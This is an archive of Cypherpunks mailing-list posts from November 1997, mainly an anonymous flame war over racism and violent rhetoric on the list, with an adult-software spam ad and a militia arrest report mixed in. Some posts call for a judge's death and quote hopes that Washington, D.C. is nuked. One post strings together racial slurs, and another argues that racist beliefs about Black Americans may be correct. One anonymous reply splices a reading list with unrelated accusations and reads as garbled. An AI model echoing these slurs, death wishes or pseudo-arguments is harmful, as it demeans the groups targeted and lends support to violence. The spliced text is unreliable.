ftp://coast.cs.purdue.edu/pub/COAST/papers/krsul-authorship_analysis_NISSC.ps.Z





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Sat, 15 Nov 1997 10:24:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Key Signing
Message-ID: <19971115022001.20918.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



>BTW, I was farting around and discovered that I could change the
>password on a revoked secret key. This means that someone can crack
>the password on your revoked secret key if they have access to it.
>This would make your new key vulnerable if you used the same password.
>
>I suppose this qualifies as PGP trivia, but if it saves the life of
>just one fascist dicator...
>
>!Knott (Who's dare?)

When I read this a quote from Independance Day came to mind. The aliens just
blew up New York and a cable exec is sitting in his car. As the firestorm
comes towards him and he's facing both immiment death by being crushed by
cars displaced by the explosion and becoming a Whopper(tm) from the
firestorm he looks out and says simply:

"Ohhhhhhhh craaaaaaap."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 15 Nov 1997 09:44:12 +0800
To: cypherpunks@toad.com
Subject: Re: degree of anonymity
Message-ID: <199711150129.CAA22410@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Ulf Möller wrote:
> Have a look at:
> 
> David Chaum: Untraceable Electronic Mail, Return Addresses, and Digital
> Pseudonyms, Communications of the ACM 24 (1981) 2, pp 84--88,
> http://world.std.com/~franl/crypto/chaum-acm-1981.html

 Do other list readers agree? How many people would this kill?  

> Wei Dai: Traffic analyzing Chaum's digital mix, 1995,
> http://www.eskimo.com/~weidai/traffic.txt

It is this kind of support for depraved violence which has poisoned
discourse on this mailing list

> Lance Cottrell: Mixmaster and remailer attacks, 1995,
> http://www.obscura.com/~loki/remailer/remailer-essay.html

This list reeks of death and violence.  Apparently there is no problem
which can't be solved by killing.  Kill the innocents of D.C.  Kill the
children in the day care center in Oklahoma City.  Drop more bombs on
Japan.  Cheer the cold-blooded murder of a government agent.  Kill the
children who scrawl graffiti on your mailbox.

> Thomas Horton: Stylometry. In: R. Asher (ed.): The Encyclopedia of
> Language and Linguistics, Pergamon Press, 1994, pp 4383--4385.

You admit here that you've said you hope to see D.C. nuked.
 
> Joseph Rudman, David I Holmes, Fiona J. Tweedie, R. Harald Baayen: The
> State of Authorship Attribution Studies, 1997,
> http://www.qucis.queensu.ca/achallc97/papers/s004.html

Nothing more than a forged spoof by TruthMangler.
 
> Ivan Krsul, Eugene Spafford: Authorship Analysis: Identifying The
> Author of a Program, 1997,
> ftp://coast.cs.purdue.edu/pub/COAST/papers/krsul-authorship_analysis_NISSC.ps.Z

You have no right to set yourself apart from them.  You are as ruthless
and violent as the worst of them.

Now maybe everyone will see what I mean when I say that those on this
list now only stand for guns, violence, threats of terrorism and murder,
racism, homophobia.

Anne Ahole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sat, 15 Nov 1997 10:00:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: This judge needs killing
Message-ID: <199711150145.CAA24285@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley writes:
>Judge David Selwood today sentenced 3 writers for the magazine "Green
>Anarchist" to 3 years imprisonment each for their articles in the
>magazine which he concluded incited others to break the law.
>The magazine contained diaries for the previous months animal rights
>activism events and contained articles generally favourable to the cause
>of animal liberation.
>
>Another judge who has richly earned the death penalty.

Another example of the violent rhetoric which goes without comment on
this list.

The death penalty is completely inappropriate for this kind of crime.
It should be reserved for the most serious of criminal actions, the most
egregious murders, terrorism, genocide.

An appropriate punishment for a judge who violates his oath of office
and sentences someone wrongly to prison would be a prison sentence for
the judge himself, some multiple of the unjust sentence.

Calling for the death penalty for crimes which do not themselves involve
killing only cheapens life.  Before long you too will support shooting
graffiti vandals and nuking London.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Sat, 15 Nov 1997 14:10:25 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <xTDuLiJ7Ea7FB3r2TlUnFw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



 15 Nov 97 at 0:45, Anonymous wrote:

> Tim May writes:
> >At 10:55 AM -0700 11/14/97, Anonymous wrote:
> >
> >>If you don't speak up when someone says something objectionable,
> >>you are implicitly condoning it.  Silence gives consent. 

No it does not.  Silence may mean you are to appalled to even post!

> >>How many
> >>people have objected to Tim May's racist comments?  Only one or
> >>two.  How many objected when William Geiger suggested that more
> >>nuclear bombs should have been dropped on Japan? 

Maybe the little marine was right about that.

> >through my archived mail), along the lines of: "I fully expect to
> >wake up some morning and hear that some terrorist nuke has
> >destroyed Washington, D.C. I can't say I'll be crying."
> 
> Try this:
> 
> : To: cypherpunks@algebra.com
> : From: Tim May <tcmay@got.net>
> : Subject: Snickering at the Compromisers
> : Date: Mon, 12 May 1997 16:03:37 -0800
> : 
> : For the 3rd or 4th time, I have never advocated terrorism, at
> least not of : a physical sort. I have said I hope to see D.C.
> nuked, which is hardly the : same as "advocating" terrorism in any
> meaningful sense

> You admit here that you've said you hope to see D.C. nuked.
> 
> Do you really hope that D.C. gets nuked?  Do other list readers
> agree?

No way.  But I feel, at times, it's bad enough to be *reading* that 
stuff let alone posting about it!

> How many people would this kill?  Over half a million live in
> the city proper, with millions more in the surrounding areas.  You
> have now said that you would hope to see many of these millions of
> people killed.

I think "nuke DC" has become almost a turn of the phrase, these days.
 
> It is this kind of support for depraved violence which has poisoned
> discourse on this mailing list.  It is unconscionable to support
> such an act of cold-blooded terrorism.
> 
> You're not even the worst.  Other posters have supported this kind
> of sickening violence even more openly.  No one complains. 

OK.  Here I go.  I come down on the complaining side.

> Apparently everyone with an ounce of moral sense has left the list
> long ago.

Nope.  Just lurking.
 
> >>At one time the cypherpunks stood for freedom of speech and
> >>protection of privacy.  Today they stand for guns, violence,
> >>threats of terrorism and murder, racism, homophobia, jingoism.

Those things all go hand in hand.

> >I've been here since the beginning...since before the beginning,
> >actually. And I can tell you that the "political incorrectness" was
> >the same in 1992-4 as now. Perhaps you recall a little thing called
> >Waco that happened around that time? Go back and read the traffic.

I first signed on in 1994.
 
> You seem to think that the only problem with Waco is that the wrong
> innocents were killed.  You have no problem taking out innocents in
> Washington D.C. if it lets you get at your enemies.  You are no
> different from the agents who killed the men, women and children in
> Waco. You have no right to set yourself apart from them.  You are as
> ruthless and violent as the worst of them.
> 
> This list reeks of death and violence.  Apparently there is no
> problem which can't be solved by killing.  Kill the innocents of
> D.C.  Kill the children in the day care center in Oklahoma City. 
> Drop more bombs on Japan.  Cheer the cold-blooded murder of a
> government agent.  Kill the children who scrawl graffiti on your
> mailbox.

Well, I used to say Kill Them All And Let God Sort Them Out back when 
I was in the military.

NoMongerHere






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Sat, 15 Nov 1997 02:22:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:4284] Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <78ce81bf80f38ec4664ed8e4cdcd402f@anon.efga.org>
Message-ID: <199711141811.DAA01704@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:02 97/11/14 -0700, Tim May wrote:
> At 9:12 AM -0700 11/14/97, Anonymous wrote:
> >At 11:42 PM 11/14/97 +0900, Joichi Ito wrote:
> "nsa nsa nsa nsa nsa..."
> 
> Which explains why that Japanese-produced RSA chip was suddenly withdrawn
> from the market shortly after Jim Bidzos held it up in fron of Congress as
> an example of how foolish the U.S. export laws are. The Japanese stooges
> were ordered by their masters in Washington to conform to U.S. policy.
> 
> --Tim May

True Tim, but we are working on ways of getting it shipped.

 - Joi

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 15 Nov 1997 17:37:43 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism
In-Reply-To: <42ca13f9d34086b1b366bbfe8ab5e9da@anon.efga.org>
Message-ID: <346D6BA2.1DDC@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:
> On Fri, Nov 14, 1997 at 12:22:43PM -0700, Tim May wrote:
> > At 7:17 AM -0700 11/14/97, Paul Bradley wrote:

> > >and liberty ethic. As for white supremacy, look elsewhere, I think you`ll
> > >find Tim`s post an example of what the developed world knows as humour,
> > >not a serious attack on any ethnic group.
> >
> > Just so.
 
> Not so.  Tim is clearly a racist.

Jesus H. Fucking Christ!
I'm beginning to doubt if anyone participating in this thread knows
what the fuck racism even is...or what humor is, either, for that
matter.
  Racism is a bunch of idiots who think that pissing on someone who
_may_ be of a differnet ethinic origin, in a pissing contest, is racism.
  Humor is listening to you idiots piss all over each other while
Nonookie Masturbatshi, or whatever the fuck Hoshito Hotmail's alias is,
sits back pulling his or her pud (I noticed all you sexists assume
the anonymous poster is a 'male') laughing like a banshee.

  I wish I had a dime for every dipshit who has given me crap over the
years treating [your politically correct word for 'colored folks' here]
and [your politically correct word for 'cripples' here] like everyone
else, instead of bending over backwards to treat them 'special' by
kissing their ass, or pretending they aren't different from me.
  Well, when a spic, nigger, wop, kike, raghead, slant or wagon burner
is broken down on the side of the road on a dark and stormy night, I'm
the fucking one out there getting cold and wet helping them out, while
all of the politically correct types lock their doors while driving
by at 60 mph.

  I put out Country Porno albums that are sexist, racist, and contain
plenty of violence and obscenity. I've sold them to both sexes, all
races, pacifists and anal-retentives. I've sang "There's no niggers
left in Oakland, babe, and all my lies are true." for 2,000 midnight
black people in Nairobi, Kenya, and for the crowd passing the bottle
around in front of the Greyhound station in the heart of Oakland.
I've sung "Butt-fuck me Jesus, through the bedposts of life." in the
heart of the Bible Belt, and "I ate my dog last night." to a roomful
of Vietnamese. And I usually get standing ovations, except when the
boys and girls down at the Greyhound station aren't in any condition
to stand.
  I played up on White Bear Reserve a few weeks back, and when my fans
asked me how I liked their reservation, I told them it was real nice,
but that there were too fucking many Indians there. I'm sure if there
was some round-eyed, foreign-devil white-bread asshole listening in,
I would have gotten a lecture on racism.

  What the fuck is wrong with the dweebs who have nothing better to
do than run around trying to make political hay (and big bucks)
whining about Cleveland Indian fans doing the tomahawk-chop, and
Mr. Magoo knocking stuff over?
  I knew the guy in New York who started the campaign to clothe
horses and other animals so that their dicks were covered. He thought
it was a hoot, but he had people that were ready to kill for the
cause. I can hardly wait until we are all subject to imprisonment
for calling ducks web-footed, instead of 'digitaly enjoined,' or some
such crapola.

  Why the fuck is everybody on the list fighting Masturbatshi's battles
for him when she doesn't seem to feel the need to do so itself?
  NEWS FLASH!!!
  You're all fighting your own inner demons. I didn't hear Nonooke
crying out for your help.

  "In reality, we talk only to ourselves, but sometimes we talk loud
enough that others may hear us."
- Kahil Gibran

  I've smoked crack with blacks, niggers and black-afro americans. When
I talk loud enough for them to hear me, I try to be courteous enough to
fit my choice of words to the environment and/or their preference. 
Except when I'm having a bad no-hair between my teeth day.

  I used to play in Austin with a Japanese kid who did Hank Williams
songs and I laughed my ass off at him. When I sang "I got a feering
carred the bruise." in a Vietnamese karokee bar, everyone laughed 
their ass off at me.
  MAJOR HINT: "We're here for a good time, not a long time, so have a
good time, the sun doesn't shine every day."

  I may be wearing oversized shoes and have a red bulb on my nose, but
you fuckers are hilarious.

TruthMonger,
Former President,
   Pearl Harbor Computers
"We've been bombed since 1941."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 15 Nov 1997 18:26:08 +0800
To: cypherpunks@toad.com
Subject: What Joichi *meant* to say was...
In-Reply-To: <199711150345.EAA06240@basement.replay.com>
Message-ID: <346D73DB.7CA8@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito, <jito@eccosys.com>, writes:
> And not all Japanese are racist pigs. And before you flank me,
> I take back my previous remark where I insinuated that Americans
> were racist. Not all Americans are racists. Just the stupid ones are.

  Jesus! Is *everyone* working for the fucking CDT spin-doctors, now?

  "I take back my remark where I insinuated that Japs are slant-eyed
gooks who smell bad, so I'm not *really* a racist...
  "And by this time tomorrow, I will *never* have said it at all."

  I wouldn't be so quick to call all racists stupid...remember, we
can't be sure that was really Hitler's body they found, and people
who set out to conquer the world don't usually take kindly to being
called stupid.

  Is it National Paint With A Wide Brush Day?
  Did I miss the announcement? 
  If all racists are stupid, are all liberals queer? Are we still 
working that old, tired game?

  Is it my imagination, or is the rapid decline of the quality of posts
to the list in the last few days a direct result of the ignorant and
emotional posts by those complaining about the decline in the quality
of the posts to the list?
  Can you say, "Self-fulfilling prophecy?"...sure, you can...

TruthMonger
"I'm always right, and I never lie."  - Richard Whitehouse Nixon






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sat, 15 Nov 1997 13:10:54 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <199711150345.EAA06240@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito, <jito@eccosys.com>, writes:
> And not all Japanese are racist pigs. And before you flank me,
> I take back my previous remark where I insinuated that Americans
> were racist. Not all Americans are racists. Just the stupid ones are.

This is not true.  Tim May is not stupid.  He is insensitive and bigoted,
violent and dangerous.

He is certainly a racist, and believes in the superiority of the white race.

But he is not stupid.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sat, 15 Nov 1997 13:10:56 +0800
To: cypherpunks@cyberpass.net
Subject: What cypherpunks used to be
Message-ID: <199711150400.FAA07660@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks assume privacy is a good thing and wish there were more
of it.  Cypherpunks acknowledge that those who want privacy must
create it for themselves and not expect governments, corporations, or
other large, faceless organizations to grant them privacy out of
beneficence.  Cypherpunks know that people have been creating their
own privacy for centuries with whispers, envelopes, closed doors, and
couriers.  Cypherpunks do not seek to prevent other people from
speaking about their experiences or their opinions.

The most important means to the defense of privacy is encryption. To
encrypt is to indicate the desire for privacy.  But to encrypt with
weak cryptography is to indicate not too much desire for privacy.
Cypherpunks hope that all people desiring privacy will learn how best
to defend it.

Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish
to learn about it, to teach it, to implement it, and to make more of
it.  Cypherpunks know that cryptographic protocols make social
structures.  Cypherpunks know how to attack a system and how to
defend it.  Cypherpunks know just how hard it is to make good
cryptosystems.

Cypherpunks love to practice.  They love to play with public key
cryptography.  They love to play with anonymous and pseudonymous mail
forwarding and delivery.  They love to play with DC-nets.  They love
to play with secure communications of all kinds.

Cypherpunks write code.  They know that someone has to write code to
defend privacy, and since it's their privacy, they're going to write
it.  Cypherpunks publish their code so that their fellow cypherpunks
may practice and play with it.  Cypherpunks realize that security is
not built in a day and are patient with incremental progress.

Cypherpunks don't care if you don't like the software they write.
Cypherpunks know that software can't be destroyed.  Cypherpunks know
that a widely dispersed system can't be shut down. This is why cypherpunks
itself is a distributed mailing list.

Cypherpunks will make the networks safe for privacy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Sun, 16 Nov 1997 21:44:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: This judge needs killing
Message-ID: <199711161339.HAA15521@dfw-ix1.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Anonymous <nobody@replay.com>
>Paul Bradley writes:
>>Judge David Selwood today sentenced 3 writers for the magazine "Green
>>Anarchist" to 3 years imprisonment each for their articles in the
>>magazine which he concluded incited others to break the law.
>>The magazine contained diaries for the previous months animal rights
>>activism events and contained articles generally favourable to the cause
>>of animal liberation.
>>
>>Another judge who has richly earned the death penalty.
>
>Another example of the violent rhetoric which goes without comment on
>this list.

This is simply untrue.  In several instances I have argued against the
use of violence as impractical.  (It's also distasteful.)

Incidentally, who is it that should be creating articles that express
your beliefs?  Since you haven't seen the quantity of articles
opposing violence that you would like, perhaps you wouldn't mind
telling us why you haven't been writing them?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Sun, 16 Nov 1997 21:44:33 +0800
To: cypherpunks@cyberpass.net
Subject: Racism: Wrong or incorrect?
Message-ID: <199711161339.HAA15536@dfw-ix1.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Racism is one of those very interesting topics to discuss because
large areas of the discussion are forbidden territory.

Is racism wrong or is it incorrect?  The most generally held belief in
the United States is that it is wrong to express racist ideas
publicly, but that many of these ideas are, in fact, correct.  Most
white Americans truly believe in their innermost hearts that black
Americans are fundamentally more violent, less intelligent, and to be
pitied.  At the same time, many of these white Americans believe they
are committing some sort of sin in having these beliefs.

If the belief is true, how can it be sinful to believe it?  If it is
not true, then why believe it?

A good friend was driving through the American South recently.  He is
not of the dominant racial group.  He was involved in more than one
scary incident on his drive.  What was initially surprising to me was
that he said he sort of preferred the South to the North because at
least in the South people were more "up front."  When you think about
it for a minute that makes a lot of sense.  Who would want to spend
time with people who are patronizing?

This can be seen in just about every aspect of the racial policies of
the United States government.  The fundamental assumption of an
affirmative action program is that nobody would actually want to hire
a member of the subordinate ethnic group.  When somebody chooses to
hire based on ethnicity it doesn't hurt their business in most cases.
The advocates of affirmative action claim not be racists, yet we
rarely find them promoting racial integration in the work place by
advertising the fantastic deal which is available by hiring people who
are irrationally discriminated against by other employers.  We must
conclude that many advocates of affirmative action believe that the
subordinate group is actually inferior in many ways.

It's good for people to discuss their ideas.  That's how we arrive at
truth and mutual understanding.  It is terribly unfortunate that
discussions of racism, which is allegedly an important topic, have
been methodically discouraged for a number of decades in the United
States.

On one hand, I would prefer Tim had not made his "go now, chop chop"
posts.  I would like to see Nobuki Nakatuji stay around, write code,
master English, American culture, and Cypherpunk Life.  Tim's comments
may not promote that.

On the other hand, I'm not sure it's a good idea to discourage
anyone's explorations into certain highly forbidden areas.  Somehow
the work of Robert Crumb comes to mind.  Crumb has dallied with a
number of forbidden racial and sexual ideas.  I can't even say I like
the feeling or the tone of his work, yet, somehow, there is something
of value there which is hard to articulate.

Of course, what is most interesting about Tim's comments is that he
appears to be out on the end of three bell curves in the United
States:

1. He does not believe (I think) that it is morally wrong to have a
racist belief.

2. He does not believe racist beliefs are a correct description of
reality.

3. He says what he thinks.

Another curious aspect of the taboos on racial discussions is the
weird racially defined double standard of conduct.  Black power is
more or less an acceptable topic of discussion.  White power is
absolutely not.  Why?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Sun, 16 Nov 1997 21:44:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <199711161339.HAA15559@dfw-ix1.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Joichi Ito wrote:
>But, I suppose chaos is good. For you and for us. It's always nice to
>be reminded that racisms in the US is still alive and
>active. Sometime I forget and almost identify with you folks.

Wait a second.  Are you claiming that because one (1.) racist is on a
list, that everybody on the list is a racist?  How curious.

Could this be an artifact of Japanese culture?  I have heard that
Japanese culture emphasizes collective responsibilty to a higher
degree than in the United States.  So, for instance, a group like this
one would be both more formally regulated and also informally socially
regulated.  That is, when Tim makes some sort of comment, everybody
else would be somehow responsible for it.

I am glad this is not that kind of group.  I believe such groups are
not very interesting and have difficulty exploring novel ideas.

Perhaps it would be better to think of this list as a park which can
be visited by anybody in the world.

(1. Even that one is greatly in doubt!)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Sun, 16 Nov 1997 21:45:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: This judge needs killing
Message-ID: <199711161339.HAA15580@dfw-ix1.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Addressing Tim May, Anonymous <nobody@replay.com> wrote:
>Do you really hope that D.C. gets nuked?  Do other list readers
>agree?  How many people would this kill?  Over half a million live in
>the city proper, with millions more in the surrounding areas.  You
>have now said that you would hope to see many of these millions of
>people killed.

There is probably a double standard in play here.  (BTW, one advantage
of persistent identity is that it creates a context for the discussion
which makes it possible to explore deeper ideas.)

Very few people eschew violence completely or are overly troubled by
the deaths of innocents in the process...

>You're not even the worst.  Other posters have supported this kind of
>sickening violence even more openly.  No one complains.  Apparently
>everyone with an ounce of moral sense has left the list long ago.

..so when you claim that nobody with any moral sense would favor
violence, you have essentially declared that most of the human race is
without moral sense.  It's an interesting proposition, but it is by no
means obvious that it is true.

Also, it is puzzling that you have singled out a few subscribers to
this list for attention.  There are literally millions of people all
over the globe who are actively involved with planning and executing
horrible acts of violence.  In this company, the readers of this list
are pretty insignificant.  I do not know of a single act of violence
associated with any list member.  In practice, you would be hard
pressed to find a more peaceful group anywhere in the world.

One of the things that appeals to me about the tools the cypherpunks
are developing is the likelihood that they will end war.  What
percentage of wars are instigated and organized by governments?  That
is, how many wars can we think of in which a war originated in the
population of country and dragged its unwilling government into the
fray?  I cannot think of any.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 15 Nov 1997 20:07:27 +0800
To: cypherpunks@toad.com
Subject: True Identities of Monty Cantsin and Anonymous Exposed!!!
Message-ID: <346D8EF1.2D9F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



The Virtual Girlfriend and Virtual Boyfriend are artificial
intelligence 
programs for your IBM PC or compatible and also for MACINTOSH. You 
can watch them, talk to them, ask them questions, tell them secrets, and 
relate with them.  Watch them as you ask them to take off different
clothes
and guide them through many different activities. Watch and participate
in
the hottest sexual activities available on computer, including: several
sexual positions, using many unique toys, even bringing in multiple
partners.
This is no doubt one of the most realistic, sexually stimulating
computer
games available. They will remember your name, birthday, your likes and
your
dislikes. Every time you start the program, they say different things,
and
act differently. Each time, they have a different personality. With the
VGA
digital graphics, The Virtual Girlfriend and Virtual Boyfriend software
have
some of the hottest, sexiest graphics out there.  And with a
Soundblaster or
compatible card, you can actually hear their voice as they talk to you.
This
is the first adult software title that was designed for both
heterosexual and
homosexual people. I would like you to try the actual full copy out
before it
is put on the market.  It will be sold for 1/5 of the actual price
($10.00)
until I can get back some information on what people think of the
program.  
Please give it a try and write back any comments.      Thank you.

    If you are interested and would like to order a copy, then you can
read
the mailing instructions below.  It comes in an unmarked package and is
sent
out at most 4 days after the order is received. You are not put on any
mailing lists whatsoever, guaranteed. It will run on any 386, 486 or
higher, 
and 100% IBM compatibles.  Required is VGA graphics, and a hard drive.  
The sound card is optional. Macintosh requires at least 4 meg of ram.  
Virtual Girlfriend and Virtual Boyfriend are artificial intelligence
programs, meaning they are completely interactive. It would be just like
if
you were talking to someone.  You can actually have simple
conversations.  
Their attitudes change with the different things you say, so you can say
things that will upset them, and then say things that will please them.
The
more you play/talk with them, the more you learn what they can do, and
what 
they like to do. It really is a blast.  With all these movies coming out
about virtual reality, it's amazing to actually have a virtual reality
program like this for your own computer. It's easy to install, and
instructions are easy
to follow.     

  ~~~~~~~~~~~~~~~~Special Software Offer~~~~~~~~~~~~~~~~~~
This is to inform you about the new adult game that VCS Magazine
rated "The best game of "97".  "The Search for Paradise is no doubt one 
of the greatest XXX adult games available".  The first games where it is
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There is a different paradise for every guy out there, and this game
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to make it as realistic as possible.  You will feel like you're in the
same
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as the girl you're talking to!!!

          As an added bonus you'll receive "Club Celebrity X"
     Meet, talk to and even have your way with the celebrities of your
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     Imagine being in a club with some very beautiful, well known,
actual
     celebrities! You have seen these girls on T.V., Magazines and
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ads.
     Now they are on your computer begging for action.  This game is hot
and
once you
     start playing, you won't be able to stop!!!

~Required: 386 or better, 4 meg ram or better, Windows 3.1 or higher
(Win95
is fine), sound card is optional, Rom is optional.  (Game is given
either
CD-rom or compressed 3.5" diskettes).~~$19.95!

                            Order now and get everything for just
$24.95!!!!

     
At your request, the programs can come with a password protection
utility
that only allows the program to run when the correct password is
entered. 
                
                                   (You must be 18 or over to purchase)


Please fill out the following form and mail it to the address above.  
(Feel free to write out the order form by hand)

                        Questions?  Email us at:
Virtualfriends4@hotmail.com
            -    

           Send to:                    Mark Wrhel
                                         P.O. Box 0118
                                      Tujunga, Ca. 91043
       
                        
Your Name ___________________________________________ Date ____________

Address ______________________________________________________________

City ____________________________ State __________ Zip Code
______________

Phone#  _____________________ E-mail Address ___________________________

Do you have an IBM (   ) or MAC (   )?  CD rom (   ) or Disks (   )?

(   ) Virtual Girdfriend or (   ) Boyfriend for $10.00 (   ) *both just
$15.95

(   ) The Search for Paradise and Club Celebrity X for $19.95

(   ) Everything!!! The Search for Paradise, Club Celebrity X,
      Virtual Girlfriend and Virtual Boyfriend.  
       >>>>All for just $24.95<<<<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 15 Nov 1997 13:28:01 +0800
To: cypherpunks@toad.com
Subject: Re: What cypherpunks used to be
Message-ID: <199711150522.GAA15493@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



evolve or die





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 15 Nov 1997 19:38:07 +0800
To: cypherpunks@toad.com
Subject: Gieger dies in poverty...not!
Message-ID: <4d6eb9fde26d7cea2f4cb06471340fad@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 6:54 PM -0700 11/14/97, Anonymous wrote:
> >It is astonishing that people like you and William Geiger, who apparently
> >make their living as consultants, feel so comfortable publicly approving
> >racist comments directed against the Japanese.  Does William expect ever
> >to work with a Japanese customer, after suggesting that Truman should
> >have dropped additional atomic bombs on Japan?
> 
> Their likely clients don't given one whit what comments they may have made
> on mailing lists. Hell, their clients don't even care if they're
> card-carrying members of the KKK.

  Did anyone check out the Heaven's Gate group's computer work? I doubt
that many of their customers would not welcome a chance to have them
back on board. I've worked in plenty of environments where people had
vastly different religious, social, racial and political beliefs, and
most people don't (and shouldn't) give a rat's ass as long as they
pull their weight.
  Of course, if enough people complain and picket, or whatever, then
a 'cult' or a 'racist' or a 'sexist' can become a business liability,
not due to the quality of their work, or their unfitness for the job,
but because of the hateful intolerance of those with the 'right'
beliefs.

  Want to experience hateful intolerance? Read your Bible and believe
that it states the races should remain separate. You will soon be
pointed out as a person who 'hates niggers' and burns crosses on
their lawn, etc, etc, ad infinitum.
  Why? Because those being hatefully intolerant have the 'right'
beliefs as to what the Bible says. 
(Am I a racist if I don't also include an example from the Koran?)

  The fact that different nations, races and idealists are busy 
slaughtering one another during various wars never seems to interfere
with the balance sheets of the movers and shakers in the financial
world. Many of our Presidents since World War II were elected as
a result of the proceeds of their family or friends' ill-gotten
war gains from supporting the war machines that their own children
were fighting against.

  Little BillyG isn't going to go hungry tonight just because he's
snake-bit, onery and mean.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Sat, 15 Nov 1997 15:27:00 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
Message-ID: <WTpiWQFqaSehTjY5K+b63g==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Mark Koernke "Mark of Michigan" Arrested Today

by WebToday Staff Writers


November 14, 1997


Mark Koernke (aka "Mark of Michigan") was arrested on Friday, November 
14, 1997. 

A warrant for his arrest was issued on November 7 in Washteneau County 
for aggravated assault for allegedly beating up process server Roger 
Gainer while being served with a summons by the defense lawyers of John 
Stevenson. Stevenson had plead guilty of being an accessory after the 
fact in the murder last year of William "Bill" Gleason in Hillsdale, 
Michigan. 

More charges are expected to be filed against Korernke and other 
individuals in the ongoing investigation of the Gleason murder which is 
often referred to as "the Hillsdale murder."

Richard Champion (aka Carl Miller) was arrested two weeks ago for 
failure to respond to a subpoena but has since bonded out of jail. Bond 
was set at $22,000.

Bill Gleason was reportedly one of Mark Koernke's bodyguards. Both were 
members of the U. S. Militia. Neither Koernke nor Gleason were ever 
members of the Michigan Militia Corps Wolverines (MMCW). The MMCW, 
headquartered in Muskegon, Michigan and is led by Commander Lynn Jon Van 
Huizen. It is believed to be the largest militia group in Michigan and 
perhaps the largest in the U. S. 

Koernke is a resident of Dexter, Michigan and works for the University 
of Michigan in Ann Arbor. He is known for his "American in Peril" video 
and is a shortwave radio commentator.
--------------------------------------------------------------------


